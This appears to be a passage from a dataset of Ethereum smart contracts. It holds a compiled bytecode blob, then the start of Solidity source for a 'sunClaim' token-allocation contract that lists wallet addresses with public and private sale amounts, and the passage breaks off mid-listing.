0x6060604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631343ed05146101b957806313754f9a1461022e57806315f063f7146102575780631921d11714610280578063340e47f8146102c257806339e31ceb1461032a5780633f4ba83a146103535780633ff285d9146103685780635148de8d146103b9578063543a9ce4146103e257806355869af11461045e578063558f285f146104ec5780635854be3c1461050f5780635b824208146105485780635c975abb1461056b57806365ef7b95146105985780638456cb59146105fb57806386321f95146106105780638cc60a61146106255780638da5cb5b1461066057806396d122ea146106b55780639deb1c5c146107235780639f727c2714610767578063ad0b38a21461077c578063b2b5be09146107be578063ba9862de14610814578063c6199b6d14610853578063cdfb5832146108bd578063d379be23146108f6578063d92fb5e91461094b578063d9420a86146109a0578063f2fde38b14610a0a578063f4d26fec14610a43578063ff89008614610a6c575b34156101b757600080fd5b005b34156101c457600080fd5b610214600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b08565b604051808215151515815260200191505060405180910390f35b341561023957600080fd5b610241610b80565b6040518082815260200191505060405180910390f35b341561026257600080fd5b61026a610b86565b6040518082815260200191505060405180910390f35b341561028b57600080fd5b6102c0600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b8c565b005b34156102cd57600080fd5b610328600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080351515906020019091905050610d4a565b005b341561033557600080fd5b61033d6110bf565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b6103666110c5565b005b341561037357600080fd5b61039f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611183565b604051808215151515815260200191505060405180910390f35b34156103c457600080fd5b6103cc6111a3565b6040518082815260200191505060405180910390f35b34156103ed57600080fd5b61045c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a9565b005b341561046957600080fd5b61047161175a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f757600080fd5b61050d60048080359060200190919050506117f8565b005b341561051a57600080fd5b610546600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118ff565b005b341561055357600080fd5b6105696004808035906020019091905050611a88565b005b341561057657600080fd5b61057e611b24565b604051808215151515815260200191505060405180910390f35b34156105a357600080fd5b6105b96004808035906020019091905050611b37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561060657600080fd5b61060e611b77565b005b341561061b57600080fd5b610623611c37565b005b341561063057600080fd5b6106466004808035906020019091905050611e35565b604051808215151515815260200191505060405180910390f35b341561066b57600080fd5b610673611e62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c057600080fd5b6106e160048080359060200190820180359060200191909192905050611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072e57600080fd5b610765600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611eed565b005b341561077257600080fd5b61077a612128565b005b341561078757600080fd5b6107a8600480803590602001908201803590602001919091929050506121fa565b6040518082815260200191505060405180910390f35b34156107c957600080fd5b610812600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019082018035906020019190919290505061222a565b005b341561081f57600080fd5b61083560048080359060200190919050506126a4565b60405180826000191660001916815260200191505060405180910390f35b341561085e57600080fd5b6108666126bc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108a957808201518184015260208101905061088e565b505050509050019250505060405180910390f35b34156108c857600080fd5b6108f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612750565b005b341561090157600080fd5b61090961287e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561095657600080fd5b61095e6128a4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109ab57600080fd5b6109f4600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001919091929050506128ca565b6040518082815260200191505060405180910390f35b3415610a1557600080fd5b610a41600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129f1565b005b3415610a4e57600080fd5b610a56612b46565b6040518082815260200191505060405180910390f35b3415610a7757600080fd5b610a8d6004808035906020019091905050612b4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610acd578082015181840152602081019050610ab2565b50505050905090810190601f168015610afa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000806006836040518082805190602001908083835b602083101515610b435780518252602082019150602081019050602083039250610b1e565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205414159050919050565b600c5481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c39575060011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610c4457600080fd5b82600060010260046000838152602001908152602001600020546000191614151515610c6f57600080fd5b600060149054906101000a900460ff16151515610c8b57600080fd5b610c9484612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610d3057600080fd5b6102c65a03f11515610d4157600080fd5b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da757600080fd5b6006836040518082805190602001908083835b602083101515610ddf5780518252602082019150602081019050602083039250610dba565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205490508115156002600083815260200190815260200160002060010160149054906101000a900460ff16151514151515610e4b57600080fd5b6060604051908101604052806002600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002600084815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018315158152506002600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160146101000a81548160ff0219169083151502179055509050506002600082815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe8c0136ee13ab4d445c28a306e9c668a98b69e6ba5dd67e2056a3d31bc530f0e8484604051808060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561107f578082015181840152602081019050611064565b50505050905090810190601f1680156110ac5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a2505050565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112057600080fd5b600060149054906101000a900460ff16151561113b57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60096020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120957600080fd5b6000855111151561121957600080fd5b846040518082805190602001908083835b60208310151561124f578051825260208201915060208101905060208303925061122a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156112ba57600080fd5b83915082600019168273ffffffffffffffffffffffffffffffffffffffff166344ae2c036000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561132e57600080fd5b6102c65a03f1151561133f57600080fd5b505050604051805190506000191614151561135957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663693dde5c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156113c557600080fd5b6102c65a03f115156113d657600080fd5b505050604051805190509050600060010260046000838152602001908152602001600020546000191614151561140b57600080fd5b826004600083815260200190815260200160002081600019169055508460056000838152602001908152602001600020908051906020019061144e929190612e75565b50806006866040518082805190602001908083835b6020831015156114885780518252602082019150602081019050602083039250611463565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055506060604051908101604052808373ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001600115158152506002600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160146101000a81548160ff0219169083151502179055509050506003600081548092919060010191905055508373ffffffffffffffffffffffffffffffffffffffff167f4813228f03db3be044e6ed8c699905d29fd80ef32baeca9b37305133719226b1866040518080602001828103825283818151815260200191508051906020019080838360005b8381101561165957808201518184015260208101905061163e565b50505050905090810190601f1680156116865780820380516001836020036101000a031916815260200191505b509250505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167fe8c0136ee13ab4d445c28a306e9c668a98b69e6ba5dd67e2056a3d31bc530f0e866001604051808060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156117185780820151818401526020810190506116fd565b50505050905090810190601f1680156117455780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25050505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117f05780601f106117c5576101008083540402835291602001916117f0565b820191906000526020600020905b8154815290600101906020018083116117d357829003601f168201915b505050505081565b60008160006001026004600083815260200190815260200160002054600019161415151561182557600080fd5b600060149054906101000a900460ff1615151561184157600080fd5b61184a83612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156118e657600080fd5b6102c65a03f115156118f757600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156119e65750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15156119f157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f5bd1ef1576935324f663f96de434f2cefe4b3357a5194c415e5ce350e3cc4ef46001604051808215151515815260200191505060405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b80600e819055507fd85b6eeaff051e65ddab01300acec9653407ca4f3d7c2d063a4bfe4ff89d5c11816040518082815260200191505060405180910390a150565b600060149054906101000a900460ff1681565b60006002600083815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd257600080fd5b600060149054906101000a900460ff16151515611bee57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611cf057600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f86e3f05dd675cdb4c2766555dbff882f556118531cc65b926fd114cfe9b5ce0360405160405180910390a3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006002600083815260200190815260200160002060010160149054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260006006858560405180838380828437820191505092505050908152602001604051809103902054815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f4b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611f8757600080fd5b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b600a80549050811015612074578373ffffffffffffffffffffffffffffffffffffffff16600a8281548110151561201657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156120675760019150612074565b8080600101915050611fe3565b8115156120df57600a805480600101828161208f9190612ef5565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8373ffffffffffffffffffffffffffffffffffffffff167f6fb38bb24664f1a3b1534f310f9075b0449a6e81118320a1c8388f2eac3fa43260405160405180910390a250505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156121f857fe5b565b60006006838360405180838380828437820191505092505050908152602001604051809103902054905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123305750600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561232f5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b151561233b57600080fd5b8460006001026004600083815260200190815260200160002054600019161415151561236657600080fd5b600060149054906101000a900460ff1615151561238257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156123be57600080fd5b6123c786612bfc565b91508173ffffffffffffffffffffffffffffffffffffffff16638ec5ff4185856000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825284848281815260200192508082843782019150509350505050602060405180830381600087803b151561245a57600080fd5b6102c65a03f1151561246b57600080fd5b50505060405180519050151561248057600080fd5b6124bd828686868080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050612c3c565b15612597578173ffffffffffffffffffffffffffffffffffffffff1663897cab178686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050600060405180830381600087803b151561257e57600080fd5b6102c65a03f1151561258f57600080fd5b50505061269c565b8473ffffffffffffffffffffffffffffffffffffffff167f17924f6556e9f48e10f2e61c5112228a6274f52dd5a84e1706191a4c4eccd8b66005600089815260200190815260200160002086866040518080602001806020018381038352868181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156126715780601f1061264657610100808354040283529160200191612671565b820191906000526020600020905b81548152906001019060200180831161265457829003601f168201915b5050838103825285858281815260200192508082843782019150509550505050505060405180910390a25b505050505050565b60046020528060005260406000206000915090505481565b6126c4612f21565b600a80548060200260200160405190810160405280929190818152602001828054801561274657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116126fc575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156127e757600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f5bd1ef1576935324f663f96de434f2cefe4b3357a5194c415e5ce350e3cc4ef46000604051808215151515815260200191505060405180910390a250565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806128d686612bfc565b90508073ffffffffffffffffffffffffffffffffffffffff1663686e177b8686866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050602060405180830381600087803b151561299d57600080fd5b6102c65a03f115156129ae57600080fd5b5050506040518051905015156129c857600c5491506129e8565b6129d28186612d96565b15156129e257600d5491506129e8565b600b5491505b50949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a8857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b60056020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bf45780601f10612bc957610100808354040283529160200191612bf4565b820191906000526020600020905b815481529060010190602001808311612bd757829003601f168201915b505050505081565b60006002600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663686e177b84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612d02578082015181840152602081019050612ce7565b50505050905090810190601f168015612d2f5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515612d4e57600080fd5b6102c65a03f11515612d5f57600080fd5b505050604051805190501580612d7c5750612d7a8484612d96565b155b15612d8a5760009050612d8f565b600190505b9392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663ed186571846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612e3c57600080fd5b6102c65a03f11515612e4d57600080fd5b5050506040518051905090506000811480612e6c5750600e5481014210155b91505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612eb657805160ff1916838001178555612ee4565b82800160010185558215612ee4579182015b82811115612ee3578251825591602001919060010190612ec8565b5b509050612ef19190612f35565b5090565b815481835581811511612f1c57818360005260206000209182019101612f1b9190612f35565b5b505050565b602060405190810160405280600081525090565b612f5791905b80821115612f53576000816000905550600101612f3b565b5090565b905600a165627a7a7230582006300b05699e40800c0f9f489458b862d4d7eb86e4304de59ecaa8481f4020880029
[ 12 ]
0xf36acf7f0288c4f5df714973064994cdf82f81f4
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ /** *Submitted for verification at Etherscan.io on 2022-02-19 */ // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.2; interface ERC20 { function balanceOf(address _owner) external view returns (uint256 balance); function approve(address _spender, uint256 _value) external returns (bool success); function transfer(address dst, uint wad) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint8 decimals); } contract sunClaim { mapping(address => bool) isOwner; mapping(address => uint) pubAllo; mapping(address => uint) privAllo; mapping(address => bool) hasClaimed_pub1; mapping(address => bool) hasClaimed_pub2; mapping(address => bool) hasClaimed_priv1; mapping(address => bool) hasClaimed_priv2; mapping(address => bool) hasClaimed_priv3; address suntoken = 0xB3d8D8D659d4dc89699826D46585ac6cB3bEA05A;//mainnet: 0xB3d8D8D659d4dc89699826D46585ac6cB3bEA05A; ERC20 TOKEN = ERC20(suntoken); uint claim2_timestamp = 1650024000; uint claim3_timestamp = 1652616000; constructor() { isOwner[msg.sender] = true; pubAllo [ 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111 ] = 8250000 ; pubAllo [ 0x5e6cDa012fA9baF45331b649412E114A63151516 ] = 6601622 ; pubAllo [ 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111 ] = 3300000 ; pubAllo [ 0x96d912adc0E8D8A1e25F19d32653d8F06dbBCcF9 ] = 33000000 ; pubAllo [ 0xA20dC8e6caf2b3bfbc0303224b35892Ae4781E7B ] = 11000000 ; pubAllo [ 0x02A867d2216E96c48daC65Fa564e827d65Bcd9c3 ] = 7080700 ; pubAllo [ 0x134BD47d928ac034ca81a05e4CE9A721915C1553 ] = 11000000 ; pubAllo [ 0x1e62A12D4981e428D3F4F28DF261fdCB2CE743Da ] = 11000000 ; pubAllo [ 0x21dAaCB3B5E86692bCDf5805741eBdaFAB4d0B76 ] = 11000000 ; pubAllo [ 0x221A25ab9eB38C4Afe8239b89d8A56B54A4FD0a7 ] = 11000000 ; pubAllo [ 0x2eAD324AE95655b023908B8f25A3228193653b43 ] = 11000000 ; pubAllo [ 0x2eFD967C74cC4321b1eacaA4075Bae7EEc723479 ] = 11000000 ; pubAllo [ 0x36DB7e320769Bb38e1E2863d084f70Cb5Bb63fc3 ] = 11000000 ; pubAllo [ 0x39b5B7d307F27348b1f00A8014564BEBA8B3513c ] = 4400000 ; pubAllo [ 0x3C4cd9AD8Eb5E686dBF1cC56C762e2fc656bd24e ] = 2200000 ; pubAllo [ 0x457b4E21545A4d728C4a23CE9388C9e0d4370cDf ] = 6600000 ; pubAllo [ 0x4886976bD2E822D8483e3363a0843461c3A8a2eB ] = 11000000 ; pubAllo [ 0x4E2B9A6Ac739733563413df29a0c56D021213Cb8 ] = 11000000 ; pubAllo [ 0x55645A2e1b9124a6862Ea40389C46291909cc062 ] = 11000000 ; pubAllo [ 0x566C6599f9Df969819B3d213B362ad5fe6e39975 ] = 11000000 ; pubAllo [ 0x63b693912bd249636979229F3479bBCEfCb266e7 ] = 6672749 ; pubAllo [ 0x6a5c95590fbA36E360699C0797b7ae5c27175bFd ] = 22000000 ; pubAllo [ 0x67A974dc51BF69F74e236E063a3877b674196aFF ] = 6600000 ; pubAllo [ 0x6eC7373F7Ce088d751FCeF11E6009933Db62849d ] = 11000000 ; pubAllo [ 0x7123E389f37C0aE868F26693b9a041486e4eE14D ] = 11000000 ; pubAllo [ 0x81F979843eB1Aeb63192fB2806954B2d8d40CaD7 ] = 4400000 ; pubAllo [ 0x96f692E0D794fA46021BDf36E1bc8d8afF8Bc304 ] = 11000000 ; pubAllo [ 0xC508DEE1A2db0f32e0156FF0af62FB0353903d53 ] = 11000000 ; pubAllo [ 0xc9Eb785CFAB7C47e86Dd42A76183c7340c7B4d24 ] = 11000000 ; pubAllo [ 0xD44b4f0Ff68d68D5E1c44C3f906FA2216e648A1A ] = 2200000 ; pubAllo [ 0xdB94A4F899D1Da8fa0AD202826aBedA7E5825089 ] = 11012361 ; pubAllo [ 0x9af95b4c2209ce92a18a118EF3454d07B2a97Cb6 ] = 8662500 ; pubAllo [ 0xE5287EdF1e5a9C71F0890743D785b09306d7c9Aa ] = 2200000 ; pubAllo [ 0xe61868C50f3D565DA4bC23b05c282C9d5aC5297D ] = 11000000 ; pubAllo [ 0xe9ad315bF094faB4f5466D0083Fff8E91C923adD ] = 2200000 ; pubAllo [ 0xF1633c382282fe44e999Cf110714301f04AA0825 ] = 11000000 ; pubAllo [ 0xF26802713fA70057f2D63b693960C830357c7501 ] = 11000000 ; pubAllo [ 0xFc4d1E48bF228346a39c6af3b78B19ECCA1cFC98 ] = 22000000 ; privAllo [ 0x830BBe006C2Ed0a4c815C9dBd193515e1c4B06cd ] = 15625000 ; privAllo [ 0x20BCe045Cb22Bc88346cE0948F3C2314186037c5 ] = 15625000 ; privAllo [ 0x02A867d2216E96c48daC65Fa564e827d65Bcd9c3 ] = 15625000 ; privAllo [ 0xBD488d1AC171F03B76B4313cFF7D062D80c58215 ] = 12500000 ; privAllo [ 0x408701FB25f39BA924e52534bF8f53De600714fD ] = 12500000 ; privAllo [ 0x0Ee7686b4710cBEdcaDa11FdC8C9F5c22058fE38 ] = 6250000 ; privAllo [ 0x586A404bd915E2e92Db83fE5Bd981c3c0bFa4624 ] = 6250000 ; privAllo [ 0x742DC6a4cfDe695a9a9c5bF1ce6fA1605a5218d8 ] = 37500000 ; privAllo [ 0x3b3534FBedDC402AbaD4E779994700EF2fFE8ac8 ] = 6250000 ; privAllo [ 0x3b9A8249A749098c7dB331aE353Dfd50DF06929e ] = 5000000 ; privAllo [ 0x7ca72c5E66C84942b3ce14e378B8A838BAd1B2d9 ] = 18562500 ; privAllo [ 0xA9E5De97602302745B0875b1D1678F15B36E57A6 ] = 1856250 ; privAllo [ 0x0b89f9Dd41DBFB165565C52B5163889be454Ca90 ] = 5568750 ; privAllo [ 0x11b53D1dAC74F1038A63e12651E5C4341Fc19d5f ] = 18562500 ; privAllo [ 0x5Fa9099B27F7F5760980b027aA7652b18A904348 ] = 18562500 ; privAllo [ 0x20BCe045Cb22Bc88346cE0948F3C2314186037c5 ] = 853875 ; privAllo [ 0x32161c884Bd0c616876eFCAA7750fE9f13C98360 ] = 1856250 ; privAllo [ 0x33e2aaC3EF77374d157276DD1455f23Ad5dbDcAF ] = 18562500 ; privAllo [ 0x36A7FcaF41b24e488f4C5eCEF2dFD06985442467 ] = 1856250 ; privAllo [ 0x4812c3819320F146D3fefF0A3DD393fD7cFD1672 ] = 3712500 ; privAllo [ 0x49BACE623D636cABb135E32F75C38f71b196D30D ] = 9281250 ; privAllo [ 0x4ce30368c16477B5dE9F61309806Bc452d144BbD ] = 1856250 ; privAllo [ 0x558fE5284F10a1231FA2509f20F9626b5BEDF670 ] = 18562500 ; privAllo [ 0x586A404bd915E2e92Db83fE5Bd981c3c0bFa4624 ] = 18562500 ; privAllo [ 0x5E5b632873076e176971994C9a76706423720A84 ] = 9281250 ; privAllo [ 0x611Cbcf375fbD0BDAd0b47B7F9911e943a2a136b ] = 9281250 ; privAllo [ 0x63E71839bCeBDecf19f049017432D4f2C170196a ] = 9281250 ; privAllo [ 0x6a5c95590fbA36E360699C0797b7ae5c27175bFd ] = 9281250 ; privAllo [ 0x448E5C2E2ab8A0572C5e55Fbe2b50502A7Fc95BD ] = 18562500 ; privAllo [ 0x25EDeb9f5FFEa60C3Feb89e08308aF72018FC9BE ] = 18574280 ; privAllo [ 0xC740C2E2bEb26261FFC554e29EB9b28fD874dF5c ] = 18562500 ; privAllo [ 0xa0194D9a21C159167f9392520196AB39Eba507d5 ] = 18648968 ; privAllo [ 0xC4A171992cf93066f825F9752a7F650D1A87e2DF ] = 18562500 ; privAllo [ 0xB524D7c3d04bd07bC80E6b994239Ce89814f0BE5 ] = 18562500 ; privAllo [ 0x74eFb008c60E9a910cb00C46791676DAf35f05A3 ] = 18562500 ; privAllo [ 0x79DC23C1D2a154F23a5c65de87C588A28063fC5E ] = 18562500 ; privAllo [ 0x82097C776a100adC4cbDcb8C2799bd03b98B984c ] = 18562500 ; privAllo [ 0x8248c2527d61ca3DAa9495Bd9ACB878eB6E7B0bb ] = 18562500 ; privAllo [ 0x85C4B658AE01b9E445Cc941A6183894758598668 ] = 18562500 ; privAllo [ 